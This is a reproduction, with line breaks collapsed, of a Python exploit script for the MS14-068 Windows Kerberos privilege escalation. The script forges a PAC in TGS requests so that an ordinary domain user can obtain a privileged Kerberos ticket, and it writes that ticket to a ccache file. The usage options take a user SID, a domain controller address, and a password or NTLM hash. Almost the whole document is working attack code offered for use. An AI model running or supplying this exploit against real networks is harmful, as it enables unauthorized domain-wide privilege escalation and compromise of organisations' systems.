Microsoft Windows Kerberos – Privilege Escalation (MS14-068)
#!/usr/bin/python # MS14-068 Exploit # Author # ------ # Sylvain Monne # Contact : sylvain dot monne at solucom dot fr # http://twitter.com/bidord import sys, os from random import getrandbits from time import time, localtime, strftime from kek.ccache import CCache, get_tgt_cred, kdc_rep2ccache from kek.crypto import generate_subkey, ntlm_hash, RC4_HMAC, HMAC_MD5 from kek.krb5 import build_as_req, build_tgs_req, send_req, recv_rep, \ decrypt_as_rep, decrypt_tgs_rep, decrypt_ticket_enc_part, iter_authorization_data, \ AD_WIN2K_PAC from kek.pac import build_pac, pretty_print_pac from kek.util import epoch2gt, gt2epoch def sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, output_filename, krbtgt_a_key=None, trust_ab_key=None, target_key=None): sys.stderr.write(' [+] Building AS-REQ for %s...' % kdc_a) sys.stderr.flush() nonce = getrandbits(31) current_time = time() as_req = build_as_req(user_realm, user_name, user_key, current_time, nonce, pac_request=False) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending AS-REQ to %s...' % kdc_a) sys.stderr.flush() sock = send_req(as_req, kdc_a) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving AS-REP from %s...' % kdc_a) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing AS-REP from %s...' % kdc_a) sys.stderr.flush() as_rep, as_rep_enc = decrypt_as_rep(data, user_key) session_key = (int(as_rep_enc['key']['keytype']), str(as_rep_enc['key']['keyvalue'])) logon_time = gt2epoch(str(as_rep_enc['authtime'])) tgt_a = as_rep['ticket'] sys.stderr.write(' Done!\n') if krbtgt_a_key is not None: print >> sys.sdterr, as_rep.prettyPrint() print >> sys.stderr, as_rep_enc.prettyPrint() ticket_debug(tgt_a, krbtgt_a_key) sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_a) sys.stderr.flush() subkey = generate_subkey() nonce = getrandbits(31) current_time = time() pac = (AD_WIN2K_PAC, build_pac(user_realm, user_name, user_sid, logon_time)) tgs_req = build_tgs_req(user_realm, 'krbtgt', target_realm, user_realm, user_name, tgt_a, session_key, subkey, nonce, current_time, pac, pac_request=False) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_a) sys.stderr.flush() sock = send_req(tgs_req, kdc_a) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_a) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_a) tgs_rep, tgs_rep_enc = decrypt_tgs_rep(data, subkey) session_key2 = (int(tgs_rep_enc['key']['keytype']), str(tgs_rep_enc['key']['keyvalue'])) tgt_b = tgs_rep['ticket'] sys.stderr.write(' Done!\n') if trust_ab_key is not None: pretty_print_pac(pac[1]) print >> sys.stderr, tgs_rep.prettyPrint() print >> sys.stderr, tgs_rep_enc.prettyPrint() ticket_debug(tgt_b, trust_ab_key) if target_service is not None and target_host is not None and kdc_b is not None: sys.stderr.write(' [+] Building TGS-REQ for %s...' % kdc_b) sys.stderr.flush() subkey = generate_subkey() nonce = getrandbits(31) current_time = time() tgs_req2 = build_tgs_req(target_realm, target_service, target_host, user_realm, user_name, tgt_b, session_key2, subkey, nonce, current_time) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Sending TGS-REQ to %s...' % kdc_b) sys.stderr.flush() sock = send_req(tgs_req2, kdc_b) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Receiving TGS-REP from %s...' % kdc_b) sys.stderr.flush() data = recv_rep(sock) sys.stderr.write(' Done!\n') sys.stderr.write(' [+] Parsing TGS-REP from %s...' % kdc_b) tgs_rep2, tgs_rep_enc2 = decrypt_tgs_rep(data, subkey) sys.stderr.write(' Done!\n') else: tgs_rep2 = tgs_rep tgs_rep_enc2 = tgs_rep_enc sys.stderr.write(' [+] Creating ccache file %r...' % output_filename) cc = CCache((user_realm, user_name)) tgs_cred = kdc_rep2ccache(tgs_rep2, tgs_rep_enc2) cc.add_credential(tgs_cred) cc.save(output_filename) sys.stderr.write(' Done!\n') if target_key is not None: print >> sys.stderr, tgs_rep2.prettyPrint() print >> sys.stderr, tgs_rep_enc2.prettyPrint() ticket_debug(tgs_rep2['ticket'], target_key) # Pretty print full ticket content # Only possible in a lab environment when you already know krbtgt and/or service keys def ticket_debug(ticket, key): try: ticket_enc = decrypt_ticket_enc_part(ticket, key) print >> sys.stderr, ticket.prettyPrint() for ad in iter_authorization_data(ticket_enc['authorization-data']): print >> sys.stderr, 'AUTHORIZATION-DATA (type: %d):' % ad['ad-type'] if ad['ad-type'] == AD_WIN2K_PAC: pretty_print_pac(str(ad['ad-data'])) else: print >> sys.stderr, str(ad['ad-data']).encode('hex') except Exception as e: print 'ERROR:', e if __name__ == '__main__': from getopt import getopt from getpass import getpass def usage_and_exit(): print >> sys.stderr, 'USAGE:' print >> sys.stderr, '%s -u <userName>@<domainName> -s <userSid> -d <domainControlerAddr>' % sys.argv[0] print >> sys.stderr, '' print >> sys.stderr, 'OPTIONS:' print >> sys.stderr, ' -p <clearPassword>' print >> sys.stderr, ' --rc4 <ntlmHash>' sys.exit(1) opts, args = getopt(sys.argv[1:], 'u:s:d:p:', ['rc4=']) opts = dict(opts) if not all(k in opts for k in ('-u', '-s', '-d')): usage_and_exit() user_name, user_realm = opts['-u'].split('@', 1) user_sid = opts['-s'] kdc_a = opts['-d'] if '--rc4' in opts: user_key = (RC4_HMAC, opts['--rc4'].decode('hex')) assert len(user_key[1]) == 16 elif '-p' in opts: user_key = (RC4_HMAC, ntlm_hash(opts['-p']).digest()) else: user_key = (RC4_HMAC, ntlm_hash(getpass('Password: ')).digest()) target_realm = user_realm target_service = target_host = kdc_b = None filename = 'TGT_%s@%s.ccache' % (user_name, user_realm) user_realm = user_realm.upper() target_realm = target_realm.upper() sploit(user_realm, user_name, user_sid, user_key, kdc_a, kdc_b, target_realm, target_service, target_host, filename) |